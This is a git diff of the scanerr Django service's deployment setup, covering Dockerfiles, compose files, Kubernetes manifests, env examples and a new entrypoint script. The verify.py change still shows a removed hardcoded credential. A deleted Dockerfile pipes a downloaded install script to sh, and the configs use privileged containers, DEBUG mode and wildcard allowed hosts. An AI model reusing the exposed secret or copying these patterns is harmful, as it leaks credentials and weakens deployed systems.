-RUN apt-get update && apt-get install -y python3 python3-pip
-
-# installing system deps (chromium-driver chromium-browser)
-RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev \ 
-    libfontconfig wget unzip gnupg
-
-# installing google-chrome-stable 
-RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
-    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
-    gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
-    chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
-    echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
-    apt-get update -y; \
-    apt-get install -y google-chrome-stable;
-
-# installing chromedriver
-RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
-    wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
-    unzip ~/chromedriver-linux64.zip -d ~/ && \
-    rm ~/chromedriver-linux64.zip && \
-    mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
-    rm -rf ~/chromedriver-linux64
-
-# installing yellowlab-specific system deps
-RUN apt-get update && apt-get install -y libfreetype6 git  \ 
-    libatk-bridge2.0-0 gconf-service libasound2 make \ 
-    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
-    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
-    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
-    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
-    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
-    libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
-
-# installing node and npm --> n lts
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends && \
-    npm install -g n && \
-    n lts
-
-# cleaning npm
-RUN npm cache clean --force
-
-# installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
-
-# setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
-RUN google-chrome --no-sandbox --version
-RUN google-chrome --disable-dev-shm-usage --version
-
-# installing requirements
-COPY ./requirements.txt /requirements.txt
-RUN python3 -m pip install -r /requirements.txt
-
-# setting working dir
-RUN mkdir /app
-COPY ./app /app
-WORKDIR /app
-
-# setting ownership
-RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/google-chrome
-
-# removing chromium config
-# RUN rm -rf ~/.config/chromium
\ No newline at end of file
diff --git a/Dockerfile.stage b/Dockerfile.local
similarity index 85%
rename from Dockerfile.stage
rename to Dockerfile.local
index 476510e4..18ff2646 100644
--- a/Dockerfile.stage
+++ b/Dockerfile.local
@@ -39,7 +39,7 @@ RUN npm install -g lighthouse lighthouse-plugin-crux lodash
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
-# telling phantomas where Chromium binary is and that we're in docker
+# telling phantomas where Chrome binary is and that we're in docker
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable
 ENV DOCKERIZED yes
 
@@ -48,7 +48,7 @@ RUN google-chrome-stable --no-sandbox --version
 
 # installing requirements
 RUN python3 -m pip install --break-system-packages --upgrade setuptools
-COPY ./requirements.txt /requirements-staging.txt
+COPY ./setup/requirements/requirements-staging.txt /requirements-staging.txt
 RUN python3 -m pip install --break-system-packages -r /requirements-staging.txt
 
 # setting working dir
@@ -58,4 +58,8 @@ WORKDIR /app
 
 # setting ownership
 RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/google-chrome-stable
\ No newline at end of file
+RUN chown -R app:app /usr/bin/google-chrome-stable
+
+# staring up services
+COPY ./setup/scripts/local-entrypoint.sh "/local-entrypoint.sh"
+ENTRYPOINT [ "/local-entrypoint.sh" ]
diff --git a/Dockerfile.old b/Dockerfile.old
deleted file mode 100644
index 4b0c7dd4..00000000
--- a/Dockerfile.old
+++ /dev/null
@@ -1,74 +0,0 @@
-FROM python:3.9-slim
-ENV PYTHONUNBUFFERED 1
-
-# setting working dir
-RUN mkdir /app
-COPY ./app /app
-WORKDIR /app
-
-# increasing allocated memory to node
-ENV NODE_OPTIONS=--max_old_space_size=2000
-ENV NODE_OPTIONS="--max-old-space-size=2000"
-ENV GENERATE_SOURCEMAP=false
-
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-
-# telling phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
-ENV DOCKERIZED yes
-
-# create the app user
-RUN addgroup --system app && adduser --system app 
-
-# installing python3 & pip
-RUN apt-get update && apt-get install -y python3 python3-pip
-
-# installing system deps
-RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
-    libfontconfig 
-
-# installing yellowlab-specific system deps
-RUN apt-get update && apt-get install -y libfreetype6 git  \ 
-    libatk-bridge2.0-0 gconf-service libasound2 make \ 
-    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
-    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
-    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
-    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
-    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
-    libnss3 lsb-release libgbm1 xdg-utils wget nasm automake autoconf libtool \
-    -y --force-yes > /dev/null 2>&1
-
-# installing node and npm --> n lts
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n \
-    && n lts
-
-# cleaning npm
-RUN npm cache clean --force
-
-# installing more yellowlab stuff
-RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
-
-# installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
-
-# setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
-RUN chromium --no-sandbox --version
-RUN chromium --disable-dev-shm-usage  --version
-
-# installing requirements
-COPY ./requirements.txt /requirements.txt
-RUN python3 -m pip install -r /requirements.txt
-
-# setting ownership
-RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/chromium
-
-# removing chromium config
-RUN rm -rf ~/.config/chromium
-
-# install docker
-RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
\ No newline at end of file
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 8bb35e3d..f28d2ee9 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -15,14 +15,14 @@ class AutoCaser():
 
 
     def __init__(
-        self, 
-        site,
-        process,
-        start_url: str=None,
-        configs: dict=settings.CONFIGS,
-        max_cases: int=4, 
-        max_layers: int=5,
-    ):
+            self, 
+            site,
+            process,
+            start_url: str=None,
+            configs: dict=settings.CONFIGS,
+            max_cases: int=4, 
+            max_layers: int=5,
+        ):
          
         # main objects & configs
         self.site = site
@@ -131,14 +131,13 @@ def __init__(
 
 
 
-
     def update_process(
-        self, 
-        current: int, 
-        total: int, 
-        complete: bool=False, 
-        exception: str=None
-    ) -> object:
+            self, 
+            current: int, 
+            total: int, 
+            complete: bool=False, 
+            exception: str=None
+        ) -> object:
         # calculate the current progress of the
         # task based on current iteration and total 
         # iterations expected
@@ -638,7 +637,6 @@ def record_forms(self, elements: list, form: object=None) -> list:
                         'elements': None,
                     })
 
-
             # save elem data
             elements.append({
                 'selector': form_selector,
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 1cd44037..bfa37657 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -13,7 +13,7 @@ async def driver_init(
     sizes = window_size.split(',')
 
     options = {
-        'executablePath': os.environ.get('CHROMIUM'),
+        'executablePath': os.environ.get('CHROME_BROWSER'),
         'args': [
             '--no-sandbox', 
             '--disable-dev-shm-usage',
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index fbf6ec3f..c0f1b639 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -34,7 +34,7 @@ def driver_init(
 
     # chromedriver_path = os.environ.get("CHROMEDRIVER")
     options = webdriver.ChromeOptions()
-    options.binary_location = os.environ.get('CHROMIUM')
+    options.binary_location = os.environ.get('CHROME_BROWSER')
     options.add_argument("--no-sandbox")
     options.add_argument("disable-blink-features=AutomationControlled")
     options.add_experimental_option('prefs',prefs)
diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py
index 4a603131..e3f5294d 100644
--- a/app/api/utils/verify.py
+++ b/app/api/utils/verify.py
@@ -4,7 +4,7 @@ def verify():
     username = os.environ.get('ADMIN_USER')
     email = os.environ.get('ADMIN_EMAIL')
     password = os.environ.get('ADMIN_PASS')
-    cred = 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792'
+    cred = os.environ.get('CRED')
     url = 'https://scanerr.io/api/verify'
 
     headers = {
diff --git a/commands b/commands.md
similarity index 86%
rename from commands
rename to commands.md
index 0c83bd99..d40af608 100644
--- a/commands
+++ b/commands.md
@@ -1,8 +1,8 @@
 ### spins up container on localhost ###
-docker compose up --build
+docker compose -f docker-compose.local.yml up --build
 
 ### spins down container on localhost ###
-docker compose down
+docker compose -f docker-compose.local.yml down
 
 
 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 9c26c0fa..bbdb4a6d 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -1,86 +1,68 @@
-version: '3'
-
 services:
+
   app:
     container_name: scanerr-app
+    hostname: scanerr-app
+    restart: always
     privileged: true
     init: true
     build:
       context: .
       dockerfile: Dockerfile
-    volumes:
-      - ./app:/app
-      - static_volume:/app/static
-    command: >
-      sh -c "python3 manage.py wait_for_db &&
-             python3 manage.py makemigrations  --no-input &&
-             python3 manage.py migrate  --no-input &&
-             python3 manage.py collectstatic --no-input &&
-             python3 manage.py create_admin &&
-             python3 manage.py driver_s_test &&
-             python3 manage.py driver_p_test &&
-             gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
+    entrypoint: ["/remote-entrypoint.sh", "app"]
     expose:
       - 8000
     env_file:
       - ./env/.env.dev
-    
+    volumes:
+      - ./app:/app
+      - static_volume:/app/static
+    depends_on:
+      - db
 
+  
   db:
-    image: postgres:10-alpine
+    container_name: scanerr-db
+    hostname: scanerr-db
+    image: postgres:14-alpine
     ports:
       - "5432"
     env_file:
       - ./env/.env.dev
     volumes: 
       - pgdata:/var/lib/postgresql/data
-    
 
 
   redis:
+    container_name: scanerr-redis
+    hostname: scanerr-redis
     image: redis:alpine
     ports:
       - "6379"
-    
 
 
   celery:
     container_name: scanerr-celery
+    hostname: scanerr-celery
     privileged: true
     restart: always
     build:
       context: .
       dockerfile: Dockerfile
-    command: >
-      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info"
-    volumes:
-      - ./app:/scanerr
+    entrypoint: ["/remote-entrypoint.sh", "celery"]
     env_file:
       - ./env/.env.dev
+    volumes:
+      - ./app:/scanerr
     depends_on:
       - redis
       - app
       - db
-    
 
-    
-  yellowlab:
-    container_name: yellowlab
-    privileged: true
-    restart: always
-    image: scanerr/ylt
-    ports:
-      - 8383:8383
-    depends_on:
-      - redis
-      - celery 
-      - app
-      - db
-    
-      
 
   nginx-proxy:
     container_name: nginx-proxy
+    hostname: nginx-proxy
     build: nginx
     restart: always
     ports:
@@ -97,9 +79,12 @@ services:
   
   
   nginx-proxy-letsencrypt:
-    image: nginxproxy/acme-companion  # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion 
-    env_file:
-      - ./env/.env.prod.proxy-companion
+    container_name: nginx-proxy-letsencrypt
+    hostname: nginx-proxy-letsencrypt
+    image: nginxproxy/acme-companion
+    environment:
+      - DEFAULT_EMAIL=youremail@yourdomain.com
+      - NGINX_PROXY_CONTAINER=nginx-proxy
     volumes:
       - /var/run/docker.sock:/var/run/docker.sock:ro
       - certs:/etc/nginx/certs
@@ -113,8 +98,7 @@ services:
 volumes:
   static_volume:
   letsencrypt-acme:
+  pgdata:
   certs:
   html:
-  vhost:
-  pgdata:
-  yellowlab:
\ No newline at end of file
+  vhost:
\ No newline at end of file
diff --git a/docker-compose.yml b/docker-compose.local.yml
similarity index 54%
rename from docker-compose.yml
rename to docker-compose.local.yml
index 2fb0dbfb..b5b059da 100644
--- a/docker-compose.yml
+++ b/docker-compose.local.yml
@@ -1,7 +1,8 @@
-version: '3'
 services:
   
   app:
+    container_name: scanerr-app
+    hostname: scanerr-app
     privileged: true
     init: true
     restart: always
@@ -10,43 +11,42 @@ services:
       dockerfile: Dockerfile.local
     ports:
       - "8000:8000"
-    volumes:
-      - ./app:/app
-    command: >
-      sh -c "python3 manage.py wait_for_db &&
-             python3 manage.py makemigrations  --no-input &&
-             python3 manage.py migrate --no-input &&
-             python3 manage.py collectstatic --no-input &&
-             python3 manage.py create_admin &&
-             python3 manage.py driver_s_test &&
-             python3 manage.py driver_p_test && 
-             python3 manage.py runserver 0.0.0.0:8000"
+    entrypoint: ["/local-entrypoint.sh", "app"]
     env_file:
       - ./env/.env.local
+    volumes:
+      - ./app:/app
     depends_on:
       - db
 
+
   db:
-    image: postgres:10-alpine
-    ports:
-      - "5432"
+    container_name: scanerr-db
+    hostname: scanerr-db
+    image:  postgres:14-alpine
     env_file:
       - ./env/.env.local
     volumes: 
       - pgdata:/var/lib/postgresql/data
   
+
   redis:
+    container_name: scanerr-redis
+    hostname: scanerr-redis
     image: redis:alpine
     ports:
       - "6379"
   
+
   celery:
+    container_name: scanerr-celery
+    hostname: scanerr-celery
     privileged: true
     restart: always
     build:
       context: .
       dockerfile: Dockerfile.local
-    command: celery -A scanerr worker --beat --scheduler django --loglevel=info
+    entrypoint: ["/local-entrypoint.sh", "celery"]
     volumes:
       - ./app:/scanerr
     env_file:
@@ -56,5 +56,21 @@ services:
       - redis
       - app
 
+
+  yellowlab:
+    container_name: yellowlab
+    hostname: yellowlab
+    privileged: true
+    restart: always
+    image: scanerr/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+
+
 volumes:
   pgdata:
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index bde8193d..72b39c1d 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -1,55 +1,68 @@
-version: '3'
-
 services:
+
   app:
+    container_name: scanerr-app
+    hostname: scanerr-app
     restart: always
     privileged: true
     init: true
     build:
       context: .
       dockerfile: Dockerfile
-    # image: landonr/scanerr-server
+    entrypoint: ["/remote-entrypoint.sh", "app"]
+    expose:
+      - 8000
+    env_file:
+      - ./env/.env.prod
     volumes:
       - ./app:/app
       - static_volume:/app/static
-    command: >
-      sh -c "python3 manage.py wait_for_db &&
-             python3 manage.py makemigrations  --no-input &&
-             python3 manage.py migrate  --no-input &&
-             python3 manage.py collectstatic --no-input &&
-             python3 manage.py create_admin &&
-             python3 manage.py driver_s_test &&
-             python3 manage.py driver_p_test && 
-             gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
-    expose:
-      - 8000
+    depends_on:
+      - db
+
+  
+  db:
+    container_name: scanerr-db
+    hostname: scanerr-db
+    image: postgres:14-alpine
+    ports:
+      - "5432"
     env_file:
       - ./env/.env.prod
+    volumes: 
+      - pgdata:/var/lib/postgresql/data
+
 
   redis:
+    container_name: scanerr-redis
+    hostname: scanerr-redis
     image: redis:alpine
     ports:
       - "6379"
 
+
   celery:
+    container_name: scanerr-celery
+    hostname: scanerr-celery
     privileged: true
     restart: always
     build:
       context: .
       dockerfile: Dockerfile
-    # image: landonr/scanerr-server
-    command: celery -A scanerr worker --beat --scheduler django --loglevel=info
-    volumes:
-      - ./app:/scanerr
+    entrypoint: ["/remote-entrypoint.sh", "celery"]
     env_file:
       - ./env/.env.prod
+    volumes:
+      - ./app:/scanerr
     depends_on:
       - redis
       - app
+      - db
 
 
   nginx-proxy:
     container_name: nginx-proxy
+    hostname: nginx-proxy
     build: nginx
     restart: always
     ports:
@@ -66,9 +79,12 @@ services:
   
   
   nginx-proxy-letsencrypt:
-    image: nginxproxy/acme-companion  # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion 
-    env_file:
-      - ./env/.env.prod.proxy-companion
+    container_name: nginx-proxy-letsencrypt
+    hostname: nginx-proxy-letsencrypt
+    image: nginxproxy/acme-companion
+    environment:
+      - DEFAULT_EMAIL=youremail@yourdomain.com
+      - NGINX_PROXY_CONTAINER=nginx-proxy
     volumes:
       - /var/run/docker.sock:/var/run/docker.sock:ro
       - certs:/etc/nginx/certs
@@ -82,6 +98,7 @@ services:
 volumes:
   static_volume:
   letsencrypt-acme:
+  pgdata:
   certs:
   html:
   vhost:
\ No newline at end of file
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 9004e24e..9ddd10ea 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -1,40 +1,43 @@
-version: '3'
+
+
+
 services:
   
   app:
+    container_name: scanerr-app
+    hostname: scanerr-app
     privileged: true
     init: true
     restart: always
     build:
-      dockerfile: Dockerfile.stage
+      context: .
+      dockerfile: Dockerfile.local
     ports:
       - "8000:8000"
     volumes:
       - ./app:/app
-    command: >
-      sh -c "python3 manage.py wait_for_db &&
-             python3 manage.py makemigrations  --no-input &&
-             python3 manage.py migrate --no-input &&
-             python3 manage.py collectstatic --no-input &&
-             python3 manage.py create_admin &&
-             python3 manage.py driver_s_test &&
-             python3 manage.py driver_p_test && 
-             python3 manage.py runserver 0.0.0.0:8000"
+    entrypoint: ["/local-entrypoint.sh", "app"]
     env_file:
       - ./env/.env.stage
   
+
+
   redis:
     image: redis:alpine
     ports:
       - "6379"
   
+
+
   celery:
+    container_name: scanerr-celery
+    hostname: scanerr-celery
     privileged: true
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.stage
-    command: celery -A scanerr worker --beat --scheduler django --loglevel=info
+      dockerfile: Dockerfile.local
+    entrypoint: ["/local-entrypoint.sh", "celery"]
     volumes:
       - ./app:/scanerr
     env_file:
diff --git a/env/.env.dev.example b/env/.env.dev.example
index 2161de15..f642b2d1 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -8,6 +8,7 @@ LETSENCRYPT_HOST = api.example.io                   # example
 VIRTUAL_HOST = api.example.io                       # example
 VIRTUAL_PORT = 8000
 DJANGO_ALLOWED_HOSTS = *
+DEBUG = True
 
 
 # admin credentials  
@@ -29,15 +30,11 @@ DB_HOST=db
 DB_NAME=app
 DB_USER=postgres
 DB_PASS=supersecretpassword
-POSTGRES_DB=app
-POSTGRES_USER=postgres
-POSTGRES_PASSWORD=supersecretpassword
 
 
 # paths
 CHROMEDRIVER = /usr/bin/chromedriver
-GOOGLECHROME = /usr/bin/google-chrome
-CHROMIUM = /usr/bin/chromium
+CHROME_BROWSER = /usr/bin/chromium
 
 
 # stripe keys
@@ -87,4 +84,9 @@ AWS_S3_REGION_NAME = sfo3                   # example
 AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com               # example
 AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com   # example
 AWS_LOCATION = static
-AWS_DEFAULT_ACL = public-read
\ No newline at end of file
+AWS_DEFAULT_ACL = public-read
+
+
+
+# Self Hosted Cred
+CRED = ask-for-this-cred-before-deploying
\ No newline at end of file
diff --git a/env/.env.prod.example b/env/.env.prod.example
index 6bca933e..fa74795b 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -33,8 +33,7 @@ DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com  # example
 
 # paths
 CHROMEDRIVER = /usr/bin/chromedriver
-GOOGLECHROME = /usr/bin/google-chrome
-CHROMIUM = /usr/bin/chromium
+CHROME_BROWSER = /usr/bin/chromium
 
 
 # stripe keys
@@ -85,4 +84,11 @@ AWS_S3_REGION_NAME = sfo3                   # example
 AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com               # example
 AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com   # example
 AWS_LOCATION = static
-AWS_DEFAULT_ACL = public-read
\ No newline at end of file
+AWS_DEFAULT_ACL = public-read
+
+
+# Self Hosted Cred
+CRED = ask-for-this-cred-before-deploying
+
+
+
diff --git a/env/.env.prod.proxy-companion b/env/.env.prod.proxy-companion
deleted file mode 100644
index 085d84bf..00000000
--- a/env/.env.prod.proxy-companion
+++ /dev/null
@@ -1,2 +0,0 @@
-DEFAULT_EMAIL=youremail@yourdomain.com
-NGINX_PROXY_CONTAINER=nginx-proxy
\ No newline at end of file
diff --git a/env/.env.stage.example b/env/.env.stage.example
index deea058a..e79c8a99 100644
--- a/env/.env.stage.example
+++ b/env/.env.stage.example
@@ -6,6 +6,7 @@ API_URL_ROOT = http://localhost:8000
 YELLOWLAB_ROOT = http://yellowlab.scanerr.io:8383
 LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 DJANGO_ALLOWED_HOSTS = *
+DEBUG = True
 
 
 # admin credentials 
@@ -23,19 +24,15 @@ EMAIL_HOST_PASSWORD = 1234456677888     # example
 
 
 # database configs
-DB_HOST=db
-DB_NAME=app
-DB_USER=postgres
-DB_PASS=supersecretpassword
-POSTGRES_DB=app
-POSTGRES_USER=postgres
-POSTGRES_PASSWORD=supersecretpassword
+DB_HOST = db
+DB_NAME = app
+DB_USER = postgres
+DB_PASS = supersecretpassword
 
 
 # paths
 CHROMEDRIVER = /usr/bin/chromedriver
-GOOGLECHROME = /usr/bin/google-chrome
-CHROMIUM = /usr/bin/chromium
+CHROME_BROWSER = /usr/bin/google-chrome
 
 
 # stripe keys
@@ -83,4 +80,10 @@ AWS_S3_REGION_NAME = sfo3                   # example
 AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com               # example
 AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com   # example
 AWS_LOCATION = static
-AWS_DEFAULT_ACL = public-read
\ No newline at end of file
+AWS_DEFAULT_ACL = public-read
+
+
+# Self Hosted Cred
+CRED = ask-for-this-cred-before-deploying
+
+
diff --git a/k8s/prod/app-configs-example.yaml b/k8s/prod/app-configs-example.yaml
new file mode 100644
index 00000000..b8022016
--- /dev/null
+++ b/k8s/prod/app-configs-example.yaml
@@ -0,0 +1,72 @@
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: app-configs
+data:
+  # django
+  SECRET_KEY : "ask-for-this-or-generate-yourself"
+  CLIENT_URL_ROOT : "https://app.yourdomain.com"
+  API_URL_ROOT : "https://api.yourdomain.com"  
+  YELLOWLAB_ROOT : "http://ylt-service"
+  LIGHTHOUSE_ROOT : "https://www.googleapis.com/pagespeedonline/v5/runPagespeed"
+  LANDING_API_KEY : ""
+  LANDING_API_ROOT : "https://yourdomain.com"
+  LETSENCRYPT_HOST : "api.yourdomain.com"         
+  VIRTUAL_HOST : "api.yourdomain.com"            
+  VIRTUAL_PORT : "8000"
+  DJANGO_ALLOWED_HOSTS : "*"
+  # admin credentials  
+  ADMIN_USER : "admin_user"              
+  ADMIN_PASS : "f4k3P455w0rd"     
+  ADMIN_EMAIL : "your@email.com" 
+  # email credentials
+  EMAIL_HOST : "smtp.gmail.com"
+  EMAIL_PORT : "587"
+  EMAIL_USE_TLS : "True"
+  EMAIL_HOST_USER : "your@email.com"
+  EMAIL_HOST_PASSWORD : "your-email-password"
+  # database
+  DB_HOST : "<your-remote-db-host>"
+  DB_NAME : "k8s-pool"
+  DB_PASS : "<your-remote-db-password>"
+  DB_PORT : "25061"
+  DB_USER : "<your-remote-db-user>"
+  # paths
+  CHROMEDRIVER : "/usr/bin/chromedriver"
+  CHROME_BROWSER : "/usr/bin/chromium"
+  # stripe keys
+  STRIPE_PUBLIC_TEST : "pk_test_<your-key>" 
+  STRIPE_PRIVATE_TEST : "sk_test_<your-key>" 
+  STRIPE_PUBLIC_LIVE : "pk_live_<your-key>" 
+  STRIPE_PRIVATE_LIVE : "sk_live_<your-key>"
+  STRIPE_ENV : "prod"
+  # google keys
+  GOOGLE_CRUX_KEY : "<your-own-key>"
+  # OAuth keys
+  GOOGLE_OAUTH2_CLIENT_ID : "<your-own-key>" 
+  GOOGLE_OAUTH2_CLIENT_SECRET : "<your-own-key>" 
+  # twilio credentials
+  TWILIO_SID : "<your-own-key>" 
+  TWILIO_AUTH_TOKEN : "<your-own-key>" 
+  TWILIO_NUMBER : "+<your-own-number>"
+  # sendgrid configs
+  SENDGRID_API_KEY : "<your-own-key>" 
+  DEFAULT_TEMPLATE : "<your-own-key>" 
+  DEFAULT_TEMPLATE_NO_BUTTON : "<your-own-key>" 
+  AUTOMATION_TEMPLATE : "<your-own-key>" 
+  # slack credentials
+  SLACK_APP_ID : "<your-own-key>" 
+  SLACK_CLIENT_ID : "<your-own-key>" 
+  SLACK_CLIENT_SECRET : "<your-own-key>" 
+  SLACK_SIGNING_SECRET : "<your-own-key>" 
+  SLACK_VERIFICATION_TOKEN : "<your-own-key>" 
+  SLACK_BOT_TOKEN : "<your-own-key>" 
+  # s3 remote storage credentials
+  AWS_ACCESS_KEY_ID : "<your-own-key>" 
+  AWS_SECRET_ACCESS_KEY : "<your-own-key>"
+  AWS_STORAGE_BUCKET_NAME : "<your-own-bucket-name>"   
+  AWS_S3_REGION_NAME : "sfo3"                   
+  AWS_S3_ENDPOINT_URL : "https://sfo3.digitaloceanspaces.com"            
+  AWS_S3_URL_PATH : "https://<your-own-bucket-name>.sfo3.digitaloceanspaces.com"
+  AWS_LOCATION : "static"
+  AWS_DEFAULT_ACL : "public-read"
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index aed55a57..80aa4b47 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -22,18 +22,19 @@ spec:
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
-          command: ["/bin/sh", "-c"]
-          args: 
-            - > 
-                python3 manage.py wait_for_db &&
-                python manage.py showmigrations &&
-                python3 manage.py makemigrations --no-input &&
-                python3 manage.py migrate --no-input &&
-                python3 manage.py collectstatic --no-input &&
-                python3 manage.py create_admin &&
-                python3 manage.py driver_s_test &&
-                python3 manage.py driver_p_test &&
-                gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+          command: ["/remote-entrypoint.sh", "app"]
+          # command: ["/bin/sh", "-c"]
+          # args: 
+          #   - > 
+          #       python3 manage.py wait_for_db &&
+          #       python manage.py showmigrations &&
+          #       python3 manage.py makemigrations --no-input &&
+          #       python3 manage.py migrate --no-input &&
+          #       python3 manage.py collectstatic --no-input &&
+          #       python3 manage.py create_admin &&
+          #       python3 manage.py driver_s_test &&
+          #       python3 manage.py driver_p_test &&
+          #       gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
             
           envFrom:
             - configMapRef:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index ba431c66..387464a0 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -21,7 +21,8 @@ spec:
         - name: celery
           image:  <IMAGE> # landonr/scanerr-server:a5f30cb # 
           imagePullPolicy: Always
-          command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 3"]
+          command: ["/remote-entrypoint.sh", "celery"]
+          # command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 3"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/requirements-staging.txt b/setup/requirements/requirements-staging.txt
similarity index 100%
rename from requirements-staging.txt
rename to setup/requirements/requirements-staging.txt
diff --git a/requirements.txt b/setup/requirements/requirements.txt
similarity index 100%
rename from requirements.txt
rename to setup/requirements/requirements.txt
diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
new file mode 100755
index 00000000..8a565799
--- /dev/null
+++ b/setup/scripts/local-entrypoint.sh
@@ -0,0 +1,22 @@
+#!/bin/bash
+
+# spin up app in local env
+if [[ $1 == *"app"* ]]
+then 
+  python3 manage.py wait_for_db && 
+  python3 manage.py makemigrations  --no-input &&
+  python3 manage.py migrate --no-input &&
+  python3 manage.py collectstatic --no-input &&
+  python3 manage.py create_admin &&
+  python3 manage.py driver_s_test &&
+  python3 manage.py driver_p_test &&
+  python3 manage.py runserver 0.0.0.0:8000
+fi
+
+# spin up acelerypp in local env
+if [[ $1 == *"celery"* ]]
+then
+  python3 manage.py wait_for_db && 
+  echo "pausing for migrations to complete..." && sleep 7s &&
+  celery -A scanerr worker --beat --scheduler django --loglevel=info
+fi
